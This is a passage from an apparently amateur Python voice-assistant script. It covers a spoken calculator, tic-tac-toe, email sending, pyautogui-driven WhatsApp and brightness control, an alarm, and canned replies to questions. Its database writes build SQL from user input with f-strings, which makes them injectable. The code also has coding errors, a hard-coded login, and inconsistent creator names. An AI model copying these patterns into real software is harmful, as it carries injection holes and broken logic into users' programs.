another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cube' in query: speak('Enter a number to find its sqare') a = float(input("Enter a number:")) c = a**3 print(f"{a} x {a} x {a} = {c}") speak(f'Cube of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'fact' in query: try: n = int(input('Enter the number whose factorial you want to find:')) fact = 1 for i in range(1,n+1): fact = fact*i print(f"{n}! = {fact}") speak(f'{n} factorial is equal to {fact}. Your answer is {fact}.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: #print(e) speak('I unable to calculate its factorial.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'power' in query or 'raise' in query: speak('Enter a number whose power you want to raised') a = float(input("Enter a number whose power to be raised :")) speak(f'Enter a raised power to {a}') b = float(input(f"Enter a raised power to {a}:")) c = a**b print(f"{a} ^ {b} = {c}") speak(f'{a} raise to the power {b} = {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'percent' in query: speak('Enter a number whose percentage you want to calculate') a = float(input("Enter a number whose percentage you want to calculate :")) speak(f'How many percent of {a} you want to calculate?') b = float(input(f"Enter how many percentage of {a} you want to calculate:")) c = (a*b)/100 print(f"{b} % of {a} is {c}") speak(f'{b} percent of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'interest' in query: speak('Enter the principal value or amount') p = float(input("Enter the principal value (P):")) speak('Enter the rate of interest per year') r = float(input("Enter the rate of interest per year (%):")) speak('Enter the time in months') t = int(input("Enter the time (in months):")) interest = (p*r*t)/1200 sint = round(interest) fv = round(p + interest) print(f"Interest = {interest}") print(f"The total amount accured, principal plus interest, from simple interest on a principal of {p} at a rate of {r}% per year for {t} months is {p + interest}.") speak(f'interest is {sint}. The total amount accured, principal plus interest, from simple interest on a principal of {p} at a rate of {r}% per year for {t} months is {fv}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'si' in query: speak('Enter the angle in degree to find its sine value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.sin(b) speak('Here is your answer.') print(f"sin({a}) = {c}") speak(f'sin({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cos' in query: speak('Enter the angle in degree to find its cosine value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.cos(b) speak('Here is your answer.') print(f"cos({a}) = {c}") speak(f'cos({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cot' in query or 'court' in query: try: speak('Enter the angle in degree to find its cotangent value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = 1/math.tan(b) speak('Here is your answer.') print(f"cot({a}) = {c}") speak(f'cot({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print("infinity") speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'tan' in query or '10' in query: speak('Enter the angle in degree to find its tangent value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.tan(b) speak('Here is your answer.') print(f"tan({a}) = {c}") speak(f'tan({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cosec' in query: try: speak('Enter the angle in degree to find its cosecant value') a = float(input("Enter the angle:")) b = a * 3.14/180 c =1/ math.sin(b) speak('Here is your answer.') print(f"cosec({a}) = {c}") speak(f'cosec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'caus' in query: try: speak('Enter the angle in degree to find its cosecant value') a = float(input("Enter the angle:")) b = a * 3.14/180 c =1/ math.sin(b) speak('Here is your answer.') print(f"cosec({a}) = {c}") speak(f'cosec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'sec' in query: try: speak('Enter the angle in degree to find its secant value') a = int(input("Enter the angle:")) b = a * 3.14/180 c = 1/math.cos(b) speak('Here is your answer.') print(f"sec({a}) = {c}") speak(f'sec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: speak('I unable to do this calculation.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') def callback(r,c): global player if player == 'X' and states[r][c] == 0 and stop_game == False: b[r][c].configure(text='X',fg='blue', bg='white') states[r][c] = 'X' player = 'O' if player == 'O' and states[r][c] == 0 and stop_game == False: b[r][c].configure(text='O',fg='red', bg='yellow') states[r][c] = 'O' player = 'X' check_for_winner() def check_for_winner(): global stop_game global root for i in range(3): if states[i][0] == states[i][1]== states[i][2]!=0: b[i][0].config(bg='grey') b[i][1].config(bg='grey') b[i][2].config(bg='grey') stop_game = True root.destroy() for i in range(3): if states[0][i] == states[1][i] == states[2][i]!= 0: b[0][i].config(bg='grey') b[1][i].config(bg='grey') b[2][i].config(bg='grey') stop_game = True root.destroy() if states[0][0] == states[1][1]== states[2][2]!= 0: b[0][0].config(bg='grey') b[1][1].config(bg='grey') b[2][2].config(bg='grey') stop_game = True root.destroy() if states[2][0] == states[1][1] == states[0][2]!= 0: b[2][0].config(bg='grey') b[1][1].config(bg='grey') b[0][2].config(bg='grey') stop_game = True root.destroy() def sendEmail(to,content): server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login('xyz123@gmail.com','password') server.sendmail('xyz123@gmail.com',to,content) server.close() def brightness(): try: query = takeCommand().lower() if '25' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1610,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '50' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1684,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '75' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1758,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '100' in query or 'full' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1835,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') else: speak('Please select 25, 50, 75 or 100....... Say again.') brightness() except exception as e: #print(e) speak('Something went wrong') def close_window(): try: if 'y' in query: pyautogui.moveTo(1885,10) pyautogui.click() else: speak('ok') pyautogui.moveTo(1000,500) except exception as e: #print(e) speak('error') def whatsapp(): query = takeCommand().lower() if 'y' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('whatsapp') time.sleep(2) pyautogui.press('enter') time.sleep(2) pyautogui.moveTo(100,140) pyautogui.click() speak('To whom you want to send message,.....just write the name here in 5 seconds') time.sleep(7) pyautogui.moveTo(120,300) pyautogui.click() time.sleep(1) pyautogui.moveTo(800,990) pyautogui.click() speak('Say the message,....or if you want to send anything else,...say send document, or say send emoji') query = takeCommand() if ('sent' in query or 'send' in query) and 'document' in query: pyautogui.moveTo(660,990) pyautogui.click() time.sleep(1) pyautogui.moveTo(660,740) pyautogui.click() speak('please select the document within 10 seconds') time.sleep(12) speak('Should I send this document?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('sending the document......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('document' in query or 'message' in query or 'it' in query or 'emoji' in query or 'select' in query): pyautogui.doubleClick(x=800, y=990) pyautogui.press('backspace') speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') elif ('sent' in query or 'send' in query) and 'emoji' in query: pyautogui.moveTo(620,990) pyautogui.click() pyautogui.moveTo(670,990) pyautogui.click() pyautogui.moveTo(650,580) pyautogui.click() speak('please select the emoji within 10 seconds') time.sleep(11) speak('Should I send this emoji?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('Sending the emoji......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('message' in query or 'it' in query or 'emoji' in query or 'select' in query): pyautogui.doublClick(x=800, y=990) speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') else: pyautogui.write(f'{query}') speak('Should I send this message?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('sending the message......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('message' in query or 'it' in query or 'select' in query): pyautogui.doubleClick(x=800, y=990) pyautogui.press('backspace') speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') else: speak('ok') def alarm(): root = Tk() root.title('Akshu2020 Alarm-Clock') speak('Please enter the time in the format hour, minutes and seconds. When the alarm should rang?') speak('Please enter the time greater than the current time') def setalarm(): alarmtime = f"{hrs.get()}:{mins.get()}:{secs.get()}" print(alarmtime) if(alarmtime!="::"): alarmclock(alarmtime) else: speak('You have not entered the time.') def alarmclock(alarmtime): while True: time.sleep(1) time_now=datetime.datetime.now().strftime("%H:%M:%S") print(time_now) if time_now == alarmtime: Wakeup=Label(root, font = ('arial', 20, 'bold'), text="Wake up! Wake up! Wake up",bg="DodgerBlue2",fg="white").grid(row=6,columnspan=3) speak("Wake up, Wake up") print("Wake up!") mixer.init() mixer.music.load(r'C:\Users\Admin\Music\Playlists\wake-up-will-you-446.mp3') mixer.music.play() break speak('you can click on close icon to close the alarm window.') hrs=StringVar() mins=StringVar() secs=StringVar() greet=Label(root, font = ('arial', 20, 'bold'),text="Take a short nap!").grid(row=1,columnspan=3) hrbtn=Entry(root,textvariable=hrs,width=5,font =('arial', 20, 'bold')) hrbtn.grid(row=2,column=1) minbtn=Entry(root,textvariable=mins, width=5,font = ('arial', 20, 'bold')).grid(row=2,column=2) secbtn=Entry(root,textvariable=secs, width=5,font = ('arial', 20, 'bold')).grid(row=2,column=3) setbtn=Button(root,text="set alarm",command=setalarm,bg="DodgerBlue2", fg="white",font = ('arial', 20, 'bold')).grid(row=4,columnspan=3) timeleft = Label(root,font=('arial', 20, 'bold')) timeleft.grid() mainloop() def select1(): global vs global root3 global type_of_review if vs.get() == 1: message.showinfo(" ","Thank you for your review!!") review = "Very Satisfied" type_of_review = "Positive" root3.destroy() elif vs.get() == 2: message.showinfo(" ","Thank you for your review!!") review = "Satisfied" type_of_review = "Positive" root3.destroy() elif vs.get() == 3: message.showinfo(" ","Thank you for your review!!!!") review = "Neither Satisfied Nor Dissatisfied" type_of_review = "Neutral" root3.destroy() elif vs.get() == 4: message.showinfo(" ","Thank you for your review!!") review = "Dissatisfied" type_of_review = "Negative" root3.destroy() elif vs.get() == 5: message.showinfo(" ","Thank you for your review!!") review = "Very Dissatisfied" type_of_review = "Negative" root3.destroy() elif vs.get() == 6: message.showinfo(" "," Ok ") review = "I do not want to give review" type_of_review = "No review" root3.destroy() try: conn.execute(f"INSERT INTO `review`(review,type_of_review) VALUES('{review}', '{type_of_review}')") conn.commit() except Exception as e: pass def select_review(): global root3 global vs global type_of_review root3 = Tk() root3.title("Select an option") vs = IntVar() string = "Are you satisfied with my performance?" msgbox = Message(root3,text=string) msgbox.config(bg="lightgreen",font = "(20)") msgbox.grid(row=0,column=0) rs1=Radiobutton(root3,text="Very Satisfied",font="(20)",value=1,variable=vs).grid(row=1,column=0,sticky=W) rs2=Radiobutton(root3,text="Satisfied",font="(20)",value=2,variable=vs).grid(row=2,column=0,sticky=W) rs3=Radiobutton(root3,text="Neither Satisfied Nor Dissatisfied",font="(20)",value=3,variable=vs).grid(row=3,column=0,sticky=W) rs4=Radiobutton(root3,text="Dissatisfied",font="(20)",value=4,variable=vs).grid(row=4,column=0,sticky=W) rs5=Radiobutton(root3,text="Very Dissatisfied",font="(20)",value=5,variable=vs).grid(row=5,column=0,sticky=W) rs6=Radiobutton(root3,text="I don't want to give review",font="(20)",value=6,variable=vs).grid(row=6,column=0,sticky=W) bs = Button(root3,text="Submit",font="(20)",activebackground="yellow",activeforeground="green",command=select1) bs.grid(row=7,columnspan=2) root3.mainloop() while True : query = takeCommand().lower() # logic for executing tasks based on query if 'wikipedia' in query: speak('Searching wikipedia...') query = query.replace("wikipedia","") results = wikipedia.summary(query, sentences=2) speak("According to Wikipedia") print(results) speak(results) elif 'translat' in query or ('let' in query and 'translat' in query and 'open' in query): webbrowser.open('https://translate.google.co.in') time.sleep(10) elif 'open map' in query or ('let' in query and 'map' in query and 'open' in query): webbrowser.open('https://www.google.com/maps') time.sleep(10) elif ('open' in query and 'youtube' in query) or ('let' in query and 'youtube' in query and 'open' in query): webbrowser.open('https://www.youtube.com') time.sleep(10) elif 'chrome' in query: webbrowser.open('https://www.chrome.com') time.sleep(10) elif 'weather' in query: webbrowser.open('https://www.yahoo.com/news/weather') time.sleep(3) speak('Click on, change location, and enter the city , whose whether conditions you want to know.') time.sleep(10) elif 'google map' in query: webbrowser.open('https://www.google.com/maps') time.sleep(10) elif ('open' in query and 'google' in query) or ('let' in query and 'google' in query and 'open' in query): webbrowser.open('google.com') time.sleep(10) elif ('open' in query and 'stack' in query and 'overflow' in query) or ('let' in query and 'stack' in query and 'overflow' in query and 'open' in query): webbrowser.open('stackoverflow.com') time.sleep(10) elif 'open v i' in query or 'open vi' in query or 'open vierp' in query or ('open' in query and ('r p' in query or 'rp' in query)): webbrowser.open('https://www.vierp.in/login/erplogin') time.sleep(10) elif 'news' in query: webbrowser.open('https://www.bbc.com/news/world') time.sleep(10) elif 'online shop' in query or (('can' in query or 'want' in query or 'do' in query or 'could' in query) and 'shop' in query) or('let' in query and 'shop' in query): speak('From which online shopping website, you want to shop? Amazon, flipkart, snapdeal or naaptol?') query = takeCommand().lower() if 'amazon' in query: webbrowser.open('https://www.amazon.com') time.sleep(10) elif 'flip' in query: webbrowser.open('https://www.flipkart.com') time.sleep(10) elif 'snap' in query: webbrowser.open('https://www.snapdeal.com') time.sleep(10) elif 'na' in query: webbrowser.open('https://www.naaptol.com') time.sleep(10) else: speak('Sorry sir, you have to search in browser as his shopping website is not reachable for me.') elif ('online' in query and ('game' in query or 'gaming' in query)): webbrowser.open('https://www.agame.com/games') time.sleep(10) elif 'dictionary' in query: webbrowser.open('https://www.dictionary.com') time.sleep(3) speak('Enter the word, in the search bar of the dictionary, whose defination or synonyms you want to know') time.sleep(3) elif ('identif' in query and 'emoji' in query) or ('sentiment' in query and ('analysis' in query or 'identif' in query)): speak('Please enter only one emoji at a time.') emoji = input('enter emoji here: ') if '😀' in emoji or '😃' in emoji or '😄' in emoji or '😁' in emoji or '🙂' in emoji or '😊' in emoji or '☺️' in emoji or '😇' in emoji or '🥲' in emoji: speak('happy') print('Happy') elif '😝' in emoji or '😆' in emoji or '😂' in emoji or '🤣' in emoji: speak('Laughing') print('Laughing') elif '😡' in emoji or '😠' in emoji or '🤬' in emoji: speak('Angry') print('Angry') elif '🤫' in emoji: speak('Keep quite') print('Keep quite') elif '😷' in emoji: speak('face with mask') print('Face with mask') elif '🥳' in emoji: speak('party') print('party') elif '😢' in emoji or '😥' in emoji or '😓' in emoji or '😰' in emoji or '☹️' in emoji or '🙁' in emoji or '😟' in emoji or '😔' in emoji or '😞️' in emoji: speak('Sad') print('Sad') elif '😭' in emoji: speak('Crying') print('Crying') elif '😋' in emoji: speak('Tasty') print('Tasty') elif '🤨' in emoji: speak('Doubt') print('Doubt') elif '😴' in emoji: speak('Sleeping') print('Sleeping') elif '🥱' in emoji: speak('feeling sleepy') print('feeling sleepy') elif '😍' in emoji or '🥰' in emoji or '😘' in emoji: speak('Lovely') print('Lovely') elif '😱' in emoji: speak('Horrible') print('Horrible') elif '🎂' in emoji: speak('Cake') print('Cake') elif '🍫' in emoji: speak('Cadbury') print('Cadbury') elif '🇮🇳' in emoji: speak('Indian national flag,.....Teeranga') print('Indian national flag - Tiranga') elif '💐' in emoji: speak('Bouquet') print('Bouquet') elif '🥺' in emoji: speak('Emotional') print('Emotional') elif ' ' in emoji or '' in emoji: speak(f'{emoji}') else: speak("I don't know about this emoji") print("I don't know about this emoji") try: conn.execute(f"INSERT INTO `emoji`(emoji) VALUES('{emoji}')") conn.commit() except Exception as e: #print('Error in storing emoji in database') pass elif 'time' in query: strTime = datetime.datetime.now().strftime("%H:%M:%S") print(strTime) speak(f"Sir, the time is {strTime}") elif 'open' in query and 'sublime' in query: path = "C:\Program Files\Sublime Text 3\sublime_text.exe" os.startfile(path) elif 'image' in query: path = "C:\Program Files\Internet Explorer\images" os.startfile(path) elif 'quit' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'exit' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'stop' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'shutdown' in query or 'shut down' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'close you' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() try: conn.execute(f"INSERT INTO `voice_assistant_review`(review, type_of_review) VALUES('{review}', '{type_of_review}')") conn.commit() except Exception as e: pass elif 'bye' in query: speak('Bye Sir') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'wait' in query or 'hold' in query: speak('for how many seconds or minutes I have to wait?') query = takeCommand().lower() if 'second' in query: query = query.replace("please","") query = query.replace("can","") query = query.replace("you","") query = query.replace("have","") query = query.replace("could","") query = query.replace("hold","") query = query.replace("one","1") query = query.replace("only","") query = query.replace("wait","") query = query.replace("for","") query = query.replace("the","") query = query.replace("just","") query = query.replace("seconds","") query = query.replace("second","") query = query.replace("on","") query = query.replace("a","") query = query.replace("to","") query = query.replace(" ","") #print(f'query:{query}') if query.isdigit() == True: #print('y') speak('Ok sir') query = int(query) time.sleep(query) speak('my waiting time is over') else: print('sorry sir. I unable to complete your request.') elif 'minute' in query: query = query.replace("please","") query = query.replace("can","") query = query.replace("you","") query = query.replace("have","") query = query.replace("could","") query = query.replace("hold","") query = query.replace("one","1") query = query.replace("only","") query = query.replace("on","") query = query.replace("wait","") query = query.replace("for","") query = query.replace("the","") query = query.replace("just","") query = query.replace("and","") query = query.replace("half","") query = query.replace("minutes","") query = query.replace("minute","") query = query.replace("a","") query = query.replace("to","") query = query.replace(" ","") #print(f'query:{query}') if query.isdigit() == True: #print('y') speak('ok sir') query = int(query) time.sleep(query*60) speak('my waiting time is over') else: print('sorry sir. I unable to complete your request.') elif 'play' in query and 'game' in query: speak('I have 3 games, tic tac toe game for two players,....mario, and dyno games for single player. Which one of these 3 games you want to play?') query = takeCommand().lower() if ('you' in query and 'play' in query and 'with' in query) and ('you' in query and 'play' in query and 'me' in query): speak('Sorry sir, I cannot play this game with you.') speak('Do you want to continue it?') query = takeCommand().lower() try: if 'y' in query or 'sure' in query: root = Tk() root.title("TIC TAC TOE (By Akshay Khare)") b = [ [0,0,0], [0,0,0], [0,0,0] ] states = [ [0,0,0], [0,0,0], [0,0,0] ] for i in range(3): for j in range(3): b[i][j] = Button(font = ("Arial",60),width = 4,bg = 'powder blue', command = lambda r=i, c=j: callback(r,c)) b[i][j].grid(row=i,column=j) player='X' stop_game = False mainloop() else: speak('ok sir') except Exception as e: #print(e) time.sleep(3) print('I am sorry sir. There is some problem in loading the game. So I cannot open it.') elif 'tic' in query or 'tac' in query: try: root = Tk() root.title("TIC TAC TOE (Rayen Kallel)") b = [ [0,0,0], [0,0,0], [0,0,0] ] states = [ [0,0,0], [0,0,0], [0,0,0] ] for i in range(3): for j in range(3): b[i][j] = Button(font = ("Arial",60),width = 4,bg = 'powder blue', command = lambda r=i, c=j: callback(r,c)) b[i][j].grid(row=i,column=j) player='X' stop_game = False mainloop() except Exception as e: #print(e) time.sleep(3) speak('I am sorry sir. There is some problem in loading the game. So I cannot open it.') elif 'mar' in query or 'mer' in query or 'my' in query: webbrowser.open('https://chromedino.com/mario/') time.sleep(2.5) speak('Enter upper arrow key to start the game.') time.sleep(20) elif 'di' in query or 'dy' in query: webbrowser.open('https://chromedino.com/') time.sleep(2.5) speak('Enter upper arrow key to start the game.') time.sleep(20) else: speak('ok sir') elif 'change' in query and 'you' in query and 'voice' in query: engine.setProperty('voice', voices[1].id) speak("Here's an example of one of my voices. Would you like to use this one?") query = takeCommand().lower() if 'y' in query or 'sure' in query or 'of course' in query: speak('Great. I will keep using this voice.') elif 'n' in query: speak('Ok. I am back to my other voice.') engine.setProperty('voice', voices[0].id) else: speak('Sorry, I am having trouble understanding. I am back to my other voice.') engine.setProperty('voice', voices[0].id) elif 'www.' in query and ('.com' in query or '.in' in query): webbrowser.open(query) time.sleep(10) elif '.com' in query or '.in' in query: webbrowser.open(query) time.sleep(10) elif 'getting bore' in query: speak('then speak with me for sometime') elif 'i bore' in query: speak('Then speak with me for sometime.') elif 'i am bore' in query: speak('Then speak with me for sometime.') elif 'calculat' in query: speak('Yes. Which kind of calculation you want to do? add, substract, divide, multiply or anything else.') query = takeCommand().lower() calculator() elif 'add' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif '+' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'plus' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'subtrac' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'minus' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'multipl' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif ' x ' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'slash' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif '/' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'divi' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'trigonometr' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'percent' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif '%' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'raise to ' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'simple interest' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'akshay' in query: speak('Mr. Rayen Kallel is my inventor. He is 14 years old and he is A STUDENT AT THE COLLEGE PILOTEE SFAX') elif 'your inventor' in query: speak('Mr. Rayen Kallel is my inventor') elif 'your creator' in query: speak('Mr. Rayen Kallel is my creator') elif 'invent you' in query: speak('Mr. Rayen Kallel invented me') elif 'create you' in query: speak('Mr. Rayen Kallel created me') elif 'how are you' in query: speak('I am fine Sir') elif 'write' in query and 'your' in query and 'name' in query: print('Akshu2020') pyautogui.write('Akshu2020') elif 'write' in query and ('I' in query or 'whatever' in query) and 'say' in query: speak('Ok sir I will write whatever you will say. Please put your cursor where I have to write.......Please Start speaking now sir.') query = takeCommand().lower() pyautogui.write(query) elif 'your name' in query: speak('My name is akshu2020') elif 'who are you' in query: speak('I am akshu2020') elif ('repeat' in query and ('word' in query or 'sentence' in query or 'line' in query) and ('say' in query or 'tell' in query)) or ('repeat' in query and 'after' in query and ('me' in query or 'my' in query)): speak('yes sir, I will repeat your words starting from now') query = takeCommand().lower() speak(query) time.sleep(1) speak("If you again want me to repeat something else, try saying, 'repeat after me' ") elif ('send' in query or 'sent' in query) and ('mail' in query or 'email' in query or 'gmail' in query): try: speak('Please enter the email id of receiver.') to = input("Enter the email id of reciever: ") speak(f'what should I say to {to}') content = takeCommand() sendEmail(to, content) speak("Email has been sent") except Exception as e: #print(e) speak("sorry sir. I am not able to send this email") elif 'currency' in query and 'conver' in query: speak('I can convert, US dollar into dinar, and dinar into US dollar. Do you want to continue it?') query = takeCommand().lower() if 'y' in query or 'sure' in query or 'of course' in query: speak('which conversion you want to do? US dollar to dinar, or dinar to US dollar?') query = takeCommand().lower() if ('dollar' in query or 'US' in query) and ('dinar' in query): speak('Enter US Dollar') USD = float(input("Enter United States Dollar (USD):")) DT = USD * 0.33 dt = "{:.4f}".format(DT) print(f"{USD} US Dollar is equal to {dt} dniar.") speak(f'{USD} US Dollar is equal to {dt} dinar.') speak("If you again want to do currency conversion then say, 'convert currency' " ) elif ('dinar' in query) and ('to US' in query or 'to dollar' in query or 'to US dollar'): speak('Enter dinar') DT = float(input("Enter dinar (DT):")) USD = DT/0.33 usd = "{:.3f}".format(USD) print(f"{DT} dinar is equal to {usd} US Dollar.") speak(f'{DT} dinar rupee is equal to {usd} US Dollar.') speak("If you again want to do currency conversion then say, 'convert currency' " ) else: speak("I cannot understand what did you say. If you want to convert currency just say 'convert currency'") else: print('ok sir') elif 'about you' in query: speak('My name is akshu2020. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device. I am also able to send email') elif 'your intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your short intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your quick intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Akshay Khare is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your brief intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'you work' in query: speak('run the program and say what do you want. so that I can help you. In this way I work') elif 'your job' in query: speak('My job is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your work' in query: speak('My work is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'work you' in query: speak('My work is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your information' in query: speak('My name is akshu2020. Version 1.0. Mr. Akshay Khare is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'yourself' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'introduce you' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'description' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your birth' in query: speak('My birthdate is 6 August two thousand twenty') elif 'your use' in query: speak('I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'you eat' in query: speak('I do not eat anything. But the device in which I do my work requires electricity to eat') elif 'your food' in query: speak('I do not eat anything. But the device in which I do my work requires electricity to eat') elif 'you live' in query: speak('I live in sfax, in laptop of Mr. Rayen Khare') elif 'where from you' in query: speak('I am from sfax, I live in laptop of Mr. Rayen Khare') elif 'you sleep' in query: speak('Yes, when someone close this program or stop to run this program then I sleep and again wake up when someone again run me.') elif 'what are you doing' in query: speak('Talking with you.') elif 'you communicate' in query: speak('Yes, I can communicate with you.') elif 'hear me' in query: speak('Yes sir, I can hear you.') elif 'you' in query and 'dance' in query: speak('No, I cannot dance.') elif 'tell' in query and 'joke' in query: speak("Ok, here's a joke") speak("'Write an essay on cricket', the teacher told the class. Chintu finishes his work in five minutes. The teacher is impressed, she asks chintu to read his essay aloud for everyone. Chintu reads,'The match is cancelled because of rain', hehehehe,haahaahaa,hehehehe,haahaahaa") elif 'your' in query and 'favourite' in query: if 'actor' in query: speak('sofyen 